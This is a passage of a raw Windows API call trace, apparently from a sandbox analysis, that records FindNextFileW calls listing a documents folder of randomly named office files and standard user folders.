dwReserved0=0x0, dwReserved1=0x0, cFileName="0m2lWa6W2.docx", cAlternateFileName="0M2LWA~1.DOC")) returned 1 [0162.358] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebc4ee50, ftCreationTime.dwHighDateTime=0x1d99667, ftLastAccessTime.dwLowDateTime=0x5050d8c0, ftLastAccessTime.dwHighDateTime=0x1d99b68, ftLastWriteTime.dwLowDateTime=0x5050d8c0, ftLastWriteTime.dwHighDateTime=0x1d99b68, nFileSizeHigh=0x0, nFileSizeLow=0x148c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="63C2JNBupUJaLCzjj.xlsx", cAlternateFileName="63C2JN~1.XLS")) returned 1 [0162.358] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d31a250, ftCreationTime.dwHighDateTime=0x1d963da, ftLastAccessTime.dwLowDateTime=0xb7808f40, ftLastAccessTime.dwHighDateTime=0x1d99631, ftLastWriteTime.dwLowDateTime=0xb7808f40, ftLastWriteTime.dwHighDateTime=0x1d99631, nFileSizeHigh=0x0, nFileSizeLow=0xb43, dwReserved0=0x0, dwReserved1=0x0, cFileName="A_x_tiv5stL.docx", cAlternateFileName="A_X_TI~1.DOC")) returned 1 [0162.358] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4872aa10, ftCreationTime.dwHighDateTime=0x1d94c27, ftLastAccessTime.dwLowDateTime=0x56d20480, ftLastAccessTime.dwHighDateTime=0x1d97110, ftLastWriteTime.dwLowDateTime=0x56d20480, ftLastWriteTime.dwHighDateTime=0x1d97110, nFileSizeHigh=0x0, nFileSizeLow=0x101a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bx_hg08 qccc73wA.pptx", cAlternateFileName="BX_HG0~1.PPT")) returned 1 [0162.358] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa869ff00, ftCreationTime.dwHighDateTime=0x1d99253, ftLastAccessTime.dwLowDateTime=0x79c6b2a0, ftLastAccessTime.dwHighDateTime=0x1d99d80, ftLastWriteTime.dwLowDateTime=0x79c6b2a0, ftLastWriteTime.dwHighDateTime=0x1d99d80, nFileSizeHigh=0x0, nFileSizeLow=0x1362d, dwReserved0=0x0, dwReserved1=0x0, cFileName="da4Yt5-_HXX-4.xlsx", cAlternateFileName="DA4YT5~1.XLS")) returned 1 [0162.358] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8588a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0162.358] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb47d190, ftCreationTime.dwHighDateTime=0x1d992c9, ftLastAccessTime.dwLowDateTime=0xd4bcee30, ftLastAccessTime.dwHighDateTime=0x1d99318, ftLastWriteTime.dwLowDateTime=0xd4bcee30, ftLastWriteTime.dwHighDateTime=0x1d99318, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gADgp30", cAlternateFileName="")) returned 1 [0162.358] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554e5220, ftCreationTime.dwHighDateTime=0x1d961a3, ftLastAccessTime.dwLowDateTime=0xc7389280, ftLastAccessTime.dwHighDateTime=0x1d9634f, ftLastWriteTime.dwLowDateTime=0xc7389280, ftLastWriteTime.dwHighDateTime=0x1d9634f, nFileSizeHigh=0x0, nFileSizeLow=0x11fec, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiQyDV.pptx", cAlternateFileName="HIQYDV~1.PPT")) returned 1 [0162.358] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98753920, ftCreationTime.dwHighDateTime=0x1d98092, ftLastAccessTime.dwLowDateTime=0x2c1f25a0, ftLastAccessTime.dwHighDateTime=0x1d9947a, ftLastWriteTime.dwLowDateTime=0x2c1f25a0, ftLastWriteTime.dwHighDateTime=0x1d9947a, nFileSizeHigh=0x0, nFileSizeLow=0x16fd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hQwa.pptx", cAlternateFileName="HQWA~1.PPT")) returned 1 [0162.358] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaf53e80, ftCreationTime.dwHighDateTime=0x1d96547, ftLastAccessTime.dwLowDateTime=0x8fded690, ftLastAccessTime.dwHighDateTime=0x1d9914f, ftLastWriteTime.dwLowDateTime=0x8fded690, ftLastWriteTime.dwHighDateTime=0x1d9914f, nFileSizeHigh=0x0, nFileSizeLow=0xe860, dwReserved0=0x0, dwReserved1=0x0, cFileName="kLxyk2vrts2_ylshyl.xlsx", cAlternateFileName="KLXYK2~1.XLS")) returned 1 [0162.358] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1230b3b0, ftCreationTime.dwHighDateTime=0x1d94ae8, ftLastAccessTime.dwLowDateTime=0xca8aa7f0, ftLastAccessTime.dwHighDateTime=0x1d99aab, ftLastWriteTime.dwLowDateTime=0xca8aa7f0, ftLastWriteTime.dwHighDateTime=0x1d99aab, nFileSizeHigh=0x0, nFileSizeLow=0xb232, dwReserved0=0x0, dwReserved1=0x0, cFileName="KZkiSaRpNjYn.xlsx", cAlternateFileName="KZKISA~1.XLS")) returned 1 [0162.358] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0162.358] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0162.358] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0162.358] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d6f7390, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x21e55d50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x21e55d50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0162.359] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6486130, ftCreationTime.dwHighDateTime=0x1d99433, ftLastAccessTime.dwLowDateTime=0xf4cbf440, ftLastAccessTime.dwHighDateTime=0x1d99ab7, ftLastWriteTime.dwLowDateTime=0xf4cbf440, ftLastWriteTime.dwHighDateTime=0x1d99ab7, nFileSizeHigh=0x0, nFileSizeLow=0xf690, dwReserved0=0x0, dwReserved1=0x0, cFileName="p9eQVmM.pptx", cAlternateFileName="P9EQVM~1.PPT")) returned 1 [0162.359] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6e13a0, ftCreationTime.dwHighDateTime=0x1d951cb, ftLastAccessTime.dwLowDateTime=0xf9956dd0, ftLastAccessTime.dwHighDateTime=0x1d95a7a, ftLastWriteTime.dwLowDateTime=0xf9956dd0, ftLastWriteTime.dwHighDateTime=0x1d95a7a, nFileSizeHigh=0x0, nFileSizeLow=0x76bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="qDT8j-_Xcq 65lLCPzig.pptx", cAlternateFileName="QDT8J-~1.PPT")) returned 1 [0162.359] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d33e2d0, ftCreationTime.dwHighDateTime=0x1d99c69, ftLastAccessTime.dwLowDateTime=0xd58ba640, ftLastAccessTime.dwHighDateTime=0x1d99d94, ftLastWriteTime.dwLowDateTime=0xd58ba640, ftLastWriteTime.dwHighDateTime=0x1d99d94, nFileSizeHigh=0x0, nFileSizeLow=0x261c, dwReserved0=0x0, dwReserved1=0x0, cFileName="tbolTOBf6oytAdVf.xls", cAlternateFileName="TBOLTO~1.XLS")) returned 1 [0162.359] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc43b940, ftCreationTime.dwHighDateTime=0x1d94aa7, ftLastAccessTime.dwLowDateTime=0xca1d18b0, ftLastAccessTime.dwHighDateTime=0x1d9957f, ftLastWriteTime.dwLowDateTime=0xca1d18b0, ftLastWriteTime.dwHighDateTime=0x1d9957f, nFileSizeHigh=0x0, nFileSizeLow=0xe51c, dwReserved0=0x0, dwReserved1=0x0, cFileName="tcbu3AshPzFcR2r8Ck o.docx", cAlternateFileName="TCBU3A~1.DOC")) returned 1 [0162.359] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142e0fa0, ftCreationTime.dwHighDateTime=0x1d994fd, ftLastAccessTime.dwLowDateTime=0xaaed6420, ftLastAccessTime.dwHighDateTime=0x1d9986a, ftLastWriteTime.dwLowDateTime=0xaaed6420, ftLastWriteTime.dwHighDateTime=0x1d9986a, nFileSizeHigh=0x0, nFileSizeLow=0x140e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="UYWqtSLk mI.docx", cAlternateFileName="UYWQTS~1.DOC")) returned 1 [0162.359] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29e5e1a0, ftCreationTime.dwHighDateTime=0x1d996a2, ftLastAccessTime.dwLowDateTime=0xec849160, ftLastAccessTime.dwHighDateTime=0x1d99702, ftLastWriteTime.dwLowDateTime=0xec849160, ftLastWriteTime.dwHighDateTime=0x1d99702, nFileSizeHigh=0x0, nFileSizeLow=0xd329, dwReserved0=0x0, dwReserved1=0x0, cFileName="V3DYlPpf2GJNJe8cy.odt", cAlternateFileName="V3DYLP~1.ODT")) returned 1 [0162.359] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d711c10, ftCreationTime.dwHighDateTime=0x1d99797, ftLastAccessTime.dwLowDateTime=0x22788360, ftLastAccessTime.dwHighDateTime=0x1d99ba6, ftLastWriteTime.dwLowDateTime=0x22788360, ftLastWriteTime.dwHighDateTime=0x1d99ba6, nFileSizeHigh=0x0, nFileSizeLow=0x1886a, dwReserved0=0x0, dwReserved1=0x0, cFileName="wG1fdnel S3Rpj.ods", cAlternateFileName="WG1FDN~1.ODS")) returned 1 [0162.359] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WINDOW~1")) returned 1 [0162.359] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a79900, ftCreationTime.dwHighDateTime=0x1d95aec, ftLastAccessTime.dwLowDateTime=0xeba4e320, ftLastAccessTime.dwHighDateTime=0x1d9776e, ftLastWriteTime.dwLowDateTime=0xeba4e320, ftLastWriteTime.dwHighDateTime=0x1d9776e, nFileSizeHigh=0x0, nFileSizeLow=0x3ac2, dwReserved0=0x0, dwReserved1=0x0, cFileName="yl14C.docx", cAlternateFileName="YL14C~1.DOC")) returned 1 [0162.359] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47053c70, ftCreationTime.dwHighDateTime=0x1d996db, ftLastAccessTime.dwLowDateTime=0xd3199990, ftLastAccessTime.dwHighDateTime=0x1d99b8b, ftLastWriteTime.dwLowDateTime=0xd3199990, ftLastWriteTime.dwHighDateTime=0x1d99b8b, nFileSizeHigh=0x0, nFileSizeLow=0x8135, dwReserved0=0x0, dwReserved1=0x0, cFileName="zm9nla-NPD71l4thrEn.xls", cAlternateFileName="ZM9NLA~1.XLS")) returned 1 [0162.359] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bfe1b30, ftCreationTime.dwHighDateTime=0x1d948ee, ftLastAccessTime.dwLowDateTime=0x233050d0, ftLastAccessTime.dwHighDateTime=0x1d95b5f, ftLastWriteTime.dwLowDateTime=0x233050d0, ftLastWriteTime.dwHighDateTime=0x1d95b5f, nFileSizeHigh=0x0, nFileSizeLow=0xc742, dwReserved0=0x0, dwReserved1=0x0, cFileName="zVu_x.xlsx", cAlternateFileName="ZVU_X~1.XLS")) returned 1 [0162.359] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bfe1b30, ftCreationTime.dwHighDateTime=0x1d948ee, ftLastAccessTime.dwLowDateTime=0x233050d0, ftLastAccessTime.dwHighDateTime=0x1d95b5f, ftLastWriteTime.dwLowDateTime=0x233050d0, ftLastWriteTime.dwHighDateTime=0x1d95b5f, nFileSizeHigh=0x0, nFileSizeLow=0xc742, dwReserved0=0x0, dwReserved1=0x0, cFileName="zVu_x.xlsx", cAlternateFileName="ZVU_X~1.XLS")) returned 0 [0162.360] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0162.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0162.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0162.360] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.360] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc88d0, ftCreationTime.dwHighDateTime=0x1d960b6, ftLastAccessTime.dwLowDateTime=0xd44e6e90, ftLastAccessTime.dwHighDateTime=0x1d97835, ftLastWriteTime.dwLowDateTime=0xd44e6e90, ftLastWriteTime.dwHighDateTime=0x1d97835, nFileSizeHigh=0x0, nFileSizeLow=0x15d1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="0m2lWa6W2.docx", cAlternateFileName="0M2LWA~1.DOC")) returned 1 [0162.360] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebc4ee50, ftCreationTime.dwHighDateTime=0x1d99667, ftLastAccessTime.dwLowDateTime=0x5050d8c0, ftLastAccessTime.dwHighDateTime=0x1d99b68, ftLastWriteTime.dwLowDateTime=0x5050d8c0, ftLastWriteTime.dwHighDateTime=0x1d99b68, nFileSizeHigh=0x0, nFileSizeLow=0x148c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="63C2JNBupUJaLCzjj.xlsx", cAlternateFileName="63C2JN~1.XLS")) returned 1 [0162.360] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d31a250, ftCreationTime.dwHighDateTime=0x1d963da, ftLastAccessTime.dwLowDateTime=0xb7808f40, ftLastAccessTime.dwHighDateTime=0x1d99631, ftLastWriteTime.dwLowDateTime=0xb7808f40, ftLastWriteTime.dwHighDateTime=0x1d99631, nFileSizeHigh=0x0, nFileSizeLow=0xb43, dwReserved0=0x0, dwReserved1=0x0, cFileName="A_x_tiv5stL.docx", cAlternateFileName="A_X_TI~1.DOC")) returned 1 [0162.361] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4872aa10, ftCreationTime.dwHighDateTime=0x1d94c27, ftLastAccessTime.dwLowDateTime=0x56d20480, ftLastAccessTime.dwHighDateTime=0x1d97110, ftLastWriteTime.dwLowDateTime=0x56d20480, ftLastWriteTime.dwHighDateTime=0x1d97110, nFileSizeHigh=0x0, nFileSizeLow=0x101a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bx_hg08 qccc73wA.pptx", cAlternateFileName="BX_HG0~1.PPT")) returned 1 [0162.361] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa869ff00, ftCreationTime.dwHighDateTime=0x1d99253, ftLastAccessTime.dwLowDateTime=0x79c6b2a0, ftLastAccessTime.dwHighDateTime=0x1d99d80, ftLastWriteTime.dwLowDateTime=0x79c6b2a0, ftLastWriteTime.dwHighDateTime=0x1d99d80, nFileSizeHigh=0x0, nFileSizeLow=0x1362d, dwReserved0=0x0, dwReserved1=0x0, cFileName="da4Yt5-_HXX-4.xlsx", cAlternateFileName="DA4YT5~1.XLS")) returned 1 [0162.361] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8588a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0162.361] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb47d190, ftCreationTime.dwHighDateTime=0x1d992c9, ftLastAccessTime.dwLowDateTime=0xd4bcee30, ftLastAccessTime.dwHighDateTime=0x1d99318, ftLastWriteTime.dwLowDateTime=0xd4bcee30, ftLastWriteTime.dwHighDateTime=0x1d99318, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gADgp30", cAlternateFileName="")) returned 1 [0162.361] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554e5220, ftCreationTime.dwHighDateTime=0x1d961a3, ftLastAccessTime.dwLowDateTime=0xc7389280, ftLastAccessTime.dwHighDateTime=0x1d9634f, ftLastWriteTime.dwLowDateTime=0xc7389280, ftLastWriteTime.dwHighDateTime=0x1d9634f, nFileSizeHigh=0x0, nFileSizeLow=0x11fec, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiQyDV.pptx", cAlternateFileName="HIQYDV~1.PPT")) returned 1 [0162.362] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98753920, ftCreationTime.dwHighDateTime=0x1d98092, ftLastAccessTime.dwLowDateTime=0x2c1f25a0, ftLastAccessTime.dwHighDateTime=0x1d9947a, ftLastWriteTime.dwLowDateTime=0x2c1f25a0, ftLastWriteTime.dwHighDateTime=0x1d9947a, nFileSizeHigh=0x0, nFileSizeLow=0x16fd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hQwa.pptx", cAlternateFileName="HQWA~1.PPT")) returned 1 [0162.362] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaf53e80, ftCreationTime.dwHighDateTime=0x1d96547, ftLastAccessTime.dwLowDateTime=0x8fded690, ftLastAccessTime.dwHighDateTime=0x1d9914f, ftLastWriteTime.dwLowDateTime=0x8fded690, ftLastWriteTime.dwHighDateTime=0x1d9914f, nFileSizeHigh=0x0, nFileSizeLow=0xe860, dwReserved0=0x0, dwReserved1=0x0, cFileName="kLxyk2vrts2_ylshyl.xlsx", cAlternateFileName="KLXYK2~1.XLS")) returned 1 [0162.362] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1230b3b0, ftCreationTime.dwHighDateTime=0x1d94ae8, ftLastAccessTime.dwLowDateTime=0xca8aa7f0, ftLastAccessTime.dwHighDateTime=0x1d99aab, ftLastWriteTime.dwLowDateTime=0xca8aa7f0, ftLastWriteTime.dwHighDateTime=0x1d99aab, nFileSizeHigh=0x0, nFileSizeLow=0xb232, dwReserved0=0x0, dwReserved1=0x0, cFileName="KZkiSaRpNjYn.xlsx", cAlternateFileName="KZKISA~1.XLS")) returned 1 [0162.363] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0162.363] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0162.363] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0162.363] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d6f7390, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x21e55d50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x21e55d50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0162.363] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6486130, ftCreationTime.dwHighDateTime=0x1d99433, ftLastAccessTime.dwLowDateTime=0xf4cbf440, ftLastAccessTime.dwHighDateTime=0x1d99ab7, ftLastWriteTime.dwLowDateTime=0xf4cbf440, ftLastWriteTime.dwHighDateTime=0x1d99ab7, nFileSizeHigh=0x0, nFileSizeLow=0xf690, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="p9eQVmM.pptx", cAlternateFileName="P9EQVM~1.PPT")) returned 1 [0162.363] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6e13a0, ftCreationTime.dwHighDateTime=0x1d951cb, ftLastAccessTime.dwLowDateTime=0xf9956dd0, ftLastAccessTime.dwHighDateTime=0x1d95a7a, ftLastWriteTime.dwLowDateTime=0xf9956dd0, ftLastWriteTime.dwHighDateTime=0x1d95a7a, nFileSizeHigh=0x0, nFileSizeLow=0x76bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="qDT8j-_Xcq 65lLCPzig.pptx", cAlternateFileName="QDT8J-~1.PPT")) returned 1 [0162.363] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d33e2d0, ftCreationTime.dwHighDateTime=0x1d99c69, ftLastAccessTime.dwLowDateTime=0xd58ba640, 